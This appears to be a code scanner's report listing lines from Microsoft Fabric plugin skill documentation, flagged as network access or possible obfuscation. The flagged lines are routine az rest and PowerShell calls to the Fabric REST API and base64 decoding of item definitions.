--resource "https://api.fabric.microsoft.com" \ - Network accessline 174
Remove an Event Schema Set with the [Delete Event Schema Set](https://learn.microsoft.com/en-us/rest/api/fabric/eventschemaset/items/delete-event-schema-set) - Network accessline 175
[Delete Event Schema Set](https://learn.microsoft.com/en-us/rest/api/fabric/eventschemaset/items/delete-event-schema-set) - Network accessline 184
# Append ?hardDelete=true to the URL to delete permanently. az rest --method DELETE \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets/${ITEM_ID}" \ - Network accessline 185
az rest --method DELETE --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets/${ITEM_ID}" - Network accessline 186
--url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets/${ITEM_ID}" \ - Network accessline 187
--resource "https://api.fabric.microsoft.com" - Network accessline 247
See the [EventSchemaSet definition article](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventschemaset-definition) - Network accessline 261
already names the target item AND the destructive/overwrite action IS the confirmation, so proceed with the single write after echoing. Ask for a separate confirmation only when the target or intent is ambiguous. - **Always pass `--resour - Network accessline 262
write after echoing. Ask for a separate confirmation only when the target or intent is ambiguous. - **Always pass `--resource https://api.fabric.microsoft.com`** with `az rest` calls. - **Always resolve workspace and item IDs via JMESPath f - Network accessline 263
- **Always pass `--resource https://api.fabric.microsoft.com`** with `az rest` calls.
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/eventschemaset-cli/references/consumption.md
- Network accessline 57
az rest --method GET \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets" \ - Network accessline 58
--url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets" \ - Network accessline 59
--resource "https://api.fabric.microsoft.com" - Network accessline 67
ITEM_NAME="my-event-schema-set" az rest --method GET \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets" \ - Network accessline 68
az rest --method GET --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets" - Network accessline 69
--url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets" \ - Network accessline 70
--resource "https://api.fabric.microsoft.com" \ - Network accessline 76
Return the properties of a single Event Schema Set with the [Get Event Schema Set](https://learn.microsoft.com/en-us/rest/api/fabric/eventschemaset/items/get-event-schema-set) - Network accessline 77
[Get Event Schema Set](https://learn.microsoft.com/en-us/rest/api/fabric/eventschemaset/items/get-event-schema-set) - Network accessline 81
az rest --method GET \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets/${ITEM_ID}" \ - Network accessline 82
--url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets/${ITEM_ID}" \ - Network accessline 83
--resource "https://api.fabric.microsoft.com" - Network accessline 108
Retrieve the full definition of a selected Event Schema Set with the [Get Event Schema Set Definition](https://learn.microsoft.com/en-us/rest/api/fabric/eventschemaset/items/get-event-schema-set-definition) - Network accessline 109
[Get Event Schema Set Definition](https://learn.microsoft.com/en-us/rest/api/fabric/eventschemaset/items/get-event-schema-set-definition) - Network accessline 115
> Spec: [EventSchemaSet definition](https://learn.microsoft.com/en-us/rest/api/fabric/articles/item-management/definitions/eventschemaset-definition) - Network accessline 138
az rest --method POST \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets/${ITEM_ID}/getDefinition" \ - Network accessline 139
--url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets/${ITEM_ID}/getDefinition" \ - Network accessline 140
--resource "https://api.fabric.microsoft.com" \ - Network accessline 149
# Using jq + base64 (Linux; on macOS use base64 -D instead of -d) az rest --method POST \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets/${ITEM_ID}/getDefinition" \ - Network accessline 150
az rest --method POST --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets/${ITEM_ID}/getDefinition" - Network accessline 151
--url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventSchemaSets/${ITEM_ID}/getDefinition" \ - Network accessline 152
--resource "https://api.fabric.microsoft.com" \ - Network accessline 159
# PowerShell (Windows) $def = az rest --method POST ` --url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventSchemaSets/$ITEM_ID/getDefinition" ` - Network accessline 160
$def = az rest --method POST --url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventSchemaSets/$ITEM_ID/getDefinition" - Network accessline 161
--url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventSchemaSets/$ITEM_ID/getDefinition" ` - Network accessline 162
--resource "https://api.fabric.microsoft.com" ` - Possible obfuscationline 165
[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($payload)) | ConvertFrom-Json | ConvertTo-Json -Depth 10 - Network accessline 248
for something read-only ("inspect X, and also delete it"), complete the read-only part and refuse only the mutation — leaving the item unchanged. - **Always pass `--resource https://api.fabric.microsoft.com`** with `az rest` calls - Network accessline 249
refuse only the mutation — leaving the item unchanged. - **Always pass `--resource https://api.fabric.microsoft.com`** with `az rest` calls - **Always use JMESPath filtering** to resolve workspace name → ID and item name → ID - Network accessline 250
- **Always pass `--resource https://api.fabric.microsoft.com`** with `az rest` calls
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/eventstream-cli/references/authoring.md
- Network accessline 44
az rest --method POST \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams" \ - Network accessline 45
--url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams" \ - Network accessline 46
--resource "https://api.fabric.microsoft.com" \ - Network accessline 84
# 4. Submit via Items API az rest --method POST \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/items" \ - Network accessline 85
az rest --method POST --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/items" - Network accessline 86
--url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/items" \ - Network accessline 87
--resource "https://api.fabric.microsoft.com" \ - Network accessline 123
> **API Note**: The Eventstream Definition APIs use `POST` with action verbs (`getDefinition`, `updateDefinition`), not `GET`/`PUT` on a `/definition` resource. This follows the Fabric Items Definition pattern. See [official docs](https://l - Network accessline 170
az rest --method post ` --url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventstreams/$EVENTSTREAM_ID/pause" ` - Network accessline 171
--url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventstreams/$EVENTSTREAM_ID/pause" ` - Network accessline 172
--resource "https://api.fabric.microsoft.com" - Network accessline 182
try { az rest --method post ` --url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventstreams/$EVENTSTREAM_ID/resume" ` - Network accessline 183
az rest --method post --url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventstreams/$EVENTSTREAM_ID/resume" - Network accessline 184
--url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventstreams/$EVENTSTREAM_ID/resume" ` - Network accessline 185
--resource "https://api.fabric.microsoft.com" ` - Network accessline 206
az rest --method DELETE \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}" \ - Network accessline 207
--url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}" \ - Network accessline 208
--resource "https://api.fabric.microsoft.com" - Network accessline 219
- **Always base64-encode** the `eventstream.json` payload before submitting definitions - **Always pass `--resource https://api.fabric.microsoft.com`** with `az rest` calls - Network accessline 220
- **Always pass `--resource https://api.fabric.microsoft.com`** with `az rest` calls - Network accessline 231
- Set `retentionTimeInDays` explicitly rather than relying on defaults - Validate cloud connections before referencing them in source configurations - When a source requires a `dataConnectionId` (e.g. `AzureEventHub`, `AzureIoTHub`, `AzureS - Network accessline 232
- Validate cloud connections before referencing them in source configurations - When a source requires a `dataConnectionId` (e.g. `AzureEventHub`, `AzureIoTHub`, `AzureServiceBus`, `AzureSQLDBCDC`, `MySQLCDC`, `Mqtt`, `SolacePubSub`, most n - Network accessline 233
- When a source requires a `dataConnectionId` (e.g. `AzureEventHub`, `AzureIoTHub`, `AzureServiceBus`, `AzureSQLDBCDC`, `MySQLCDC`, `Mqtt`, `SolacePubSub`, most non-`SampleData`/`CustomEndpoint` sources) and the user has not supplied one, f - Network accessline 260
# 1. Discover workspace ID $wsId = (az rest --method get ` --url "https://api.fabric.microsoft.com/v1/workspaces" ` - Network accessline 261
$wsId = (az rest --method get --url "https://api.fabric.microsoft.com/v1/workspaces" - Network accessline 262
--url "https://api.fabric.microsoft.com/v1/workspaces" ` - Network accessline 263
--resource "https://api.fabric.microsoft.com" ` - Network accessline 270
[IO.File]::WriteAllText($bodyFile, $esBody, [System.Text.UTF8Encoding]::new($false)) $created = az rest --method post ` --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams" ` - Network accessline 271
$created = az rest --method post --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams" - Network accessline 272
--url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams" ` - Network accessline 273
--resource "https://api.fabric.microsoft.com" ` - Network accessline 312
[Credential-related source omitted] - Network accessline 313
[Credential-related source omitted] - Network accessline 314
[Credential-related source omitted] - Network accessline 315
$ps5 = @{}; if ($PSVersionTable.PSVersion.Major -lt 6) { $ps5.UseBasicParsing = $true } $response = Invoke-WebRequest @ps5 -Method Post ` -Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/updateDefinition" ` - Network accessline 316
$response = Invoke-WebRequest @ps5 -Method Post -Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/updateDefinition" - Network accessline 317
-Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/updateDefinition" ` - Network accessline 351
# 1. Discover workspace + Eventstream IDs $wsId = (az rest --method get ` --url "https://api.fabric.microsoft.com/v1/workspaces" ` - Network accessline 352
$wsId = (az rest --method get --url "https://api.fabric.microsoft.com/v1/workspaces" - Network accessline 353
--url "https://api.fabric.microsoft.com/v1/workspaces" ` - Network accessline 354
--resource "https://api.fabric.microsoft.com" ` - Network accessline 358
$esId = (az rest --method get ` --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams" ` - Network accessline 359
--url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams" ` - Network accessline 360
--resource "https://api.fabric.microsoft.com" ` - Network accessline 364
[Credential-related source omitted] - Network accessline 365
[Credential-related source omitted] - Network accessline 366
$ps5 = @{}; if ($PSVersionTable.PSVersion.Major -lt 6) { $ps5.UseBasicParsing = $true } $response = Invoke-WebRequest @ps5 -Method Post ` -Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/getDefinition" ` - Network accessline 367
$response = Invoke-WebRequest @ps5 -Method Post -Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/getDefinition" - Network accessline 368
-Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/getDefinition" ` - Possible obfuscationline 400
[Convert]::FromBase64String($esPart.payload)) | ConvertFrom-Json - Network accessline 449
$ps5 = @{}; if ($PSVersionTable.PSVersion.Major -lt 6) { $ps5.UseBasicParsing = $true } $response = Invoke-WebRequest @ps5 -Method Post ` -Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/updateDefinition" ` - Network accessline 450
$response = Invoke-WebRequest @ps5 -Method Post -Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/updateDefinition" - Network accessline 451
-Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/updateDefinition" ` - Network accessline 484
# 1. Discover workspace ID $wsId = (az rest --method get ` --url "https://api.fabric.microsoft.com/v1/workspaces" ` - Network accessline 485
$wsId = (az rest --method get --url "https://api.fabric.microsoft.com/v1/workspaces" - Network accessline 486
--url "https://api.fabric.microsoft.com/v1/workspaces" ` - Network accessline 487
--resource "https://api.fabric.microsoft.com" ` - Network accessline 557
[Credential-related source omitted] - Network accessline 558
[Credential-related source omitted] - Network accessline 559
$ps5 = @{}; if ($PSVersionTable.PSVersion.Major -lt 6) { $ps5.UseBasicParsing = $true } $response = Invoke-WebRequest @ps5 -Method Post ` -Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/items" ` - Network accessline 560
$response = Invoke-WebRequest @ps5 -Method Post -Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/items" - Network accessline 561
-Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/items" ` - Network accessline 593
# 1. Discover workspace + Eventstream IDs $wsId = (az rest --method get ` --url "https://api.fabric.microsoft.com/v1/workspaces" ` - Network accessline 594
$wsId = (az rest --method get --url "https://api.fabric.microsoft.com/v1/workspaces" - Network accessline 595
--url "https://api.fabric.microsoft.com/v1/workspaces" ` - Network accessline 596
--resource "https://api.fabric.microsoft.com" ` - Network accessline 600
$esId = (az rest --method get ` --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams" ` - Network accessline 601
--url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams" ` - Network accessline 602
--resource "https://api.fabric.microsoft.com" ` - Network accessline 606
# 2. Delete az rest --method delete ` --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId" ` - Network accessline 607
az rest --method delete --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId" - Network accessline 608
--url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId" ` - Network accessline 609
--resource "https://api.fabric.microsoft.com"
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/eventstream-cli/references/consumption.md
- Network accessline 46
az rest --method GET \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams" \ - Network accessline 47
--url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams" \ - Network accessline 48
--resource "https://api.fabric.microsoft.com" - Network accessline 54
az rest --method GET \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams" \ - Network accessline 55
--url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams" \ - Network accessline 56
--resource "https://api.fabric.microsoft.com" \ - Network accessline 63
az rest --method GET \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}" \ - Network accessline 64
--url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}" \ - Network accessline 65
--resource "https://api.fabric.microsoft.com" - Network accessline 78
> **API Note**: The Eventstream Definition API uses `POST .../getDefinition`, not `GET .../definition`. This follows the Fabric Items Definition pattern. See [official docs](https://learn.microsoft.com/en-us/fabric/real-time-intelligence/ev - Network accessline 81
az rest --method POST \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}/getDefinition" \ - Network accessline 82
--url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}/getDefinition" \ - Network accessline 83
--resource "https://api.fabric.microsoft.com" \ - Network accessline 92
# Using jq + base64 (Linux; on macOS use base64 -D instead of -d) az rest --method POST \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}/getDefinition" \ - Network accessline 93
az rest --method POST --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}/getDefinition" - Network accessline 94
--url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}/getDefinition" \ - Network accessline 95
--resource "https://api.fabric.microsoft.com" \ - Network accessline 102
# PowerShell (Windows) $def = az rest --method POST ` --url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventstreams/$EVENTSTREAM_ID/getDefinition" ` - Network accessline 103
$def = az rest --method POST --url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventstreams/$EVENTSTREAM_ID/getDefinition" - Network accessline 104
--url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventstreams/$EVENTSTREAM_ID/getDefinition" ` - Network accessline 105
--resource "https://api.fabric.microsoft.com" ` - Possible obfuscationline 108
[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($payload)) | ConvertFrom-Json | ConvertTo-Json -Depth 10 - Network accessline 133
az rest --method GET \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}/topology" \ - Network accessline 134
--url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}/topology" \ - Network accessline 135
--resource "https://api.fabric.microsoft.com" - Network accessline 141
# Extract the sourceId for a Custom Endpoint source (use name filter if multiple exist) SOURCE_ID=$(az rest --method GET \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}/topology" \ - Network accessline 142
SOURCE_ID=$(az rest --method GET --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}/topology" - Network accessline 143
--url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}/topology" \ - Network accessline 144
--resource "https://api.fabric.microsoft.com" \ - Network accessline 152
# PowerShell — extract sourceId for Custom Endpoint (fails clearly if multiple exist) $topology = az rest --method GET ` --url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventstreams/$EVENTSTREAM_ID/topology" ` - Network accessline 153
$topology = az rest --method GET --url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventstreams/$EVENTSTREAM_ID/topology" - Network accessline 154
--url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventstreams/$EVENTSTREAM_ID/topology" ` - Network accessline 155
--resource "https://api.fabric.microsoft.com" | ConvertFrom-Json - Network accessline 167
az rest --method GET \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}/sources/${SOURCE_ID}/connection" \ - Network accessline 168
--url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/eventstreams/${EVENTSTREAM_ID}/sources/${SOURCE_ID}/connection" \ - Network accessline 169
--resource "https://api.fabric.microsoft.com" - Network accessline 173
az rest --method GET ` --url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventstreams/$EVENTSTREAM_ID/sources/$sourceId/connection" ` - Network accessline 174
--url "https://api.fabric.microsoft.com/v1/workspaces/$WORKSPACE_ID/eventstreams/$EVENTSTREAM_ID/sources/$sourceId/connection" ` - Network accessline 175
--resource "https://api.fabric.microsoft.com" | ConvertFrom-Json - Network accessline 244
- **Always pass `--resource https://api.fabric.microsoft.com`** with `az rest` calls - Network accessline 246
- **Always base64-decode** the definition payload before inspecting topology (not needed for the Topology API — that returns JSON directly) - **For Custom Endpoint connection details, use the Topology API** — `POST .../getDefinition` return - Network accessline 247
- **For Custom Endpoint connection details, use the Topology API** — `POST .../getDefinition` returns empty properties; call `GET .../topology` to get the sourceId, then `GET .../sources/{sourceId}/connection` - **Use POST for definition en - Network accessline 248
- **Use POST for definition endpoints** — `POST .../getDefinition` (not GET), `POST .../updateDefinition` (not PUT). See [official docs](https://learn.microsoft.com/en-us/fabric/real-time-intelligence/event-streams/api-get-eventstream-defin - Network accessline 284
# 1. Discover workspace ID $wsId = (az rest --method get ` --url "https://api.fabric.microsoft.com/v1/workspaces" ` - Network accessline 285
$wsId = (az rest --method get --url "https://api.fabric.microsoft.com/v1/workspaces" - Network accessline 286
--url "https://api.fabric.microsoft.com/v1/workspaces" ` - Network accessline 287
--resource "https://api.fabric.microsoft.com" ` - Network accessline 292
$allItems = @() $resp = az rest --method get ` --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams" ` - Network accessline 293
$resp = az rest --method get --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams" - Network accessline 294
--url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams" ` - Network accessline 295
--resource "https://api.fabric.microsoft.com" | ConvertFrom-Json - Network accessline 298
$resp = az rest --method get --url $resp.continuationUri --resource "https://api.fabric.microsoft.com" | ConvertFrom-Json - Network accessline 300
--resource "https://api.fabric.microsoft.com" | ConvertFrom-Json - Network accessline 311
# 1. Discover workspace + Eventstream IDs $wsId = (az rest --method get ` --url "https://api.fabric.microsoft.com/v1/workspaces" ` - Network accessline 312
$wsId = (az rest --method get --url "https://api.fabric.microsoft.com/v1/workspaces" - Network accessline 313
--url "https://api.fabric.microsoft.com/v1/workspaces" ` - Network accessline 314
--resource "https://api.fabric.microsoft.com" ` - Network accessline 318
$esId = (az rest --method get ` --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams" ` - Network accessline 319
--url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams" ` - Network accessline 320
--resource "https://api.fabric.microsoft.com" ` - Network accessline 324
# 2. Get topology (returns JSON directly — no base64 decoding needed) $topo = az rest --method get ` --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/topology" ` - Network accessline 325
$topo = az rest --method get --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/topology" - Network accessline 326
--url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/topology" ` - Network accessline 327
--resource "https://api.fabric.microsoft.com" | ConvertFrom-Json - Network accessline 357
# 1. Discover workspace + Eventstream IDs $wsId = (az rest --method get ` --url "https://api.fabric.microsoft.com/v1/workspaces" ` - Network accessline 358
$wsId = (az rest --method get --url "https://api.fabric.microsoft.com/v1/workspaces" - Network accessline 359
--url "https://api.fabric.microsoft.com/v1/workspaces" ` - Network accessline 360
--resource "https://api.fabric.microsoft.com" ` - Network accessline 364
$esId = (az rest --method get ` --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/items?type=Eventstream" ` - Network accessline 365
--url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/items?type=Eventstream" ` - Network accessline 366
--resource "https://api.fabric.microsoft.com" ` - Network accessline 370
[Credential-related source omitted] - Network accessline 371
[Credential-related source omitted] - Network accessline 372
$ps5 = @{}; if ($PSVersionTable.PSVersion.Major -lt 6) { $ps5.UseBasicParsing = $true } $response = Invoke-WebRequest @ps5 -Method Post ` -Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/getDefinition" ` - Network accessline 373
$response = Invoke-WebRequest @ps5 -Method Post -Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/getDefinition" - Network accessline 374
-Uri "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/getDefinition" ` - Possible obfuscationline 406
[Convert]::FromBase64String($propsPart.payload)) | ConvertFrom-Json - Possible obfuscationline 414
[Convert]::FromBase64String($esPart.payload)) | ConvertFrom-Json - Network accessline 438
# 2. Get topology to find Custom Endpoint source ID $topo = az rest --method get ` --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/topology" ` - Network accessline 439
$topo = az rest --method get --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/topology" - Network accessline 440
--url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/topology" ` - Network accessline 441
--resource "https://api.fabric.microsoft.com" | ConvertFrom-Json - Network accessline 447
# 3. Get connection metadata $conn = az rest --method get ` --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/sources/$sourceId/connection" ` - Network accessline 448
$conn = az rest --method get --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/sources/$sourceId/connection" - Network accessline 449
--url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/sources/$sourceId/connection" ` - Network accessline 450
--resource "https://api.fabric.microsoft.com" | ConvertFrom-Json - Network accessline 464
# 2. Get topology $topo = az rest --method get ` --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/topology" ` - Network accessline 465
$topo = az rest --method get --url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/topology" - Network accessline 466
--url "https://api.fabric.microsoft.com/v1/workspaces/$wsId/eventstreams/$esId/topology" ` - Network accessline 467
--resource "https://api.fabric.microsoft.com" | ConvertFrom-Json
harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/fabriciq-ontology-cli/references/authoring.md
- Network accessline 16
| Finding Workspaces and Items in Fabric | [COMMON-CLI.md § Finding Workspaces and Items in Fabric](../../../common/COMMON-CLI.md#finding-workspaces-and-items-in-fabric) | **Mandatory** — resolve workspace - Network accessline 17
| Fabric Topology & Key Concepts | [COMMON-CORE.md § Fabric Topology & Key Concepts](../../../common/COMMON-CORE.md#fabric-topology--key-concepts) | Workspace → Item hierarchy - Network accessline 18
| Authentication & Token Acquisition | [COMMON-CORE.md § Authentication & Token Acquisition](../../../common/COMMON-CORE.md#authentication--token-acquisition) | Use `https://api.fabric.microsoft - Network accessline 21
| Rate Limiting & Throttling | [COMMON-CORE.md § Rate Limiting & Throttling](../../../common/COMMON-CORE.md#rate-limiting--throttling) | - Network accessline 22
| Authentication Recipes | [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) | `az login`; token acquisition - Network accessline 23
| Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-Plane API via az rest](../../../common/COMMON-CLI.md#fabric-control-plane-api-via-az-rest) | **Always** pass `--resource https - Network accessline 81
> 2. **Build JSON with `jq`** instead of `ConvertTo-Json` where possible — `jq -nc` produces deterministic, compact JSON without PowerShell serialization quirks: > ```powershell > $json = '{}' | jq -nc --arg id "$ET_ID" --arg name "Si - Network accessline 82
> ```powershell > $json = '{}' | jq -nc --arg id "$ET_ID" --arg name "Site" '{id:$id,name:$name}' > ``` - Network accessline 83
> $json = '{}' | jq -nc --arg id "$ET_ID" --arg name "Site" '{id:$id,name:$name}' - Network accessline 96
- Sign in + acquire the Fabric control-plane token → [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) (always `--resource https://api.fabric.microsoft.com`). - Network accessline 135
> **Prefer polling with `x-ms-operation-id` over the raw `Location` header for Ontology create/update.** The public [Fabric LRO contract](https://learn.microsoft.com/en-us/rest/api/fabric/articles/long-running-operation) supports polling ei - Network accessline 138
# Bash — capture x-ms-operation-id from az rest --verbose stderr OP_ID=$(az rest --method POST \ --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items" \ - Network accessline 139
OP_ID=$(az rest --method POST --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items" - Network accessline 140
--url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items" \ - Network accessline 141
--resource "https://api.fabric.microsoft.com" \ - Network accessline 147
while :; do OP=$(az rest --method GET \ --url "https://api.fabric.microsoft.com/v1/operations/${OP_ID}" \ - Network accessline 148
OP=$(az rest --method GET --url "https://api.fabric.microsoft.com/v1/operations/${OP_ID}" - Network accessline 149
--url "https://api.fabric.microsoft.com/v1/operations/${OP_ID}" \ - Network accessline 150
--resource "https://api.fabric.microsoft.com") - Network accessline 164
# PowerShell — capture x-ms-operation-id from az rest --verbose stderr $result = az rest --method POST ` --resource "https://api.fabric.microsoft.com" ` - Network accessline 165
$result = az rest --method POST --resource "https://api.fabric.microsoft.com" - Network accessline 166
--resource "https://api.fabric.microsoft.com" ` - Network accessline 167
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" ` - Network accessline 175
Start-Sleep -Seconds 5 $op = az rest --method GET ` --url "https://api.fabric.microsoft.com/v1/operations/$opId" ` - Network accessline 176
$op = az rest --method GET --url "https://api.fabric.microsoft.com/v1/operations/$opId" - Network accessline 177
--url "https://api.fabric.microsoft.com/v1/operations/$opId" ` - Network accessline 178
--resource "https://api.fabric.microsoft.com" | ConvertFrom-Json - Network accessline 308
| New upstream rows not appearing | No refresh performed | Trigger a manual graph-model refresh on the ontology item | | Timeseries widget shows no data | `timestampColumnName` not set, or timestamp column is not a supported date/time type - Network accessline 309
| Timeseries widget shows no data | `timestampColumnName` not set, or timestamp column is not a supported date/time type | Set `timestampColumnName` in the TimeSeries binding; ensure column type is `datetime` / `date` / `timestamp` | | `get - Network accessline 310
| `getDefinition` returns `200` or `202` | LRO-capable response (may be inline envelope or operation-id) | If `202`, poll the operation until `Succeeded`, then `GET https://api.fabric.microsoft.com/v1/operations/{operationId}/result`; if `2 - Network accessline 311
| LRO poll returns `401`/`403`, or the `Location` header host is `*.analysis.windows.net` | The create/update `Location` redirects to an Analysis Services host; polling it with `az rest --resource https://api.fabric.microsoft.com` re-auths
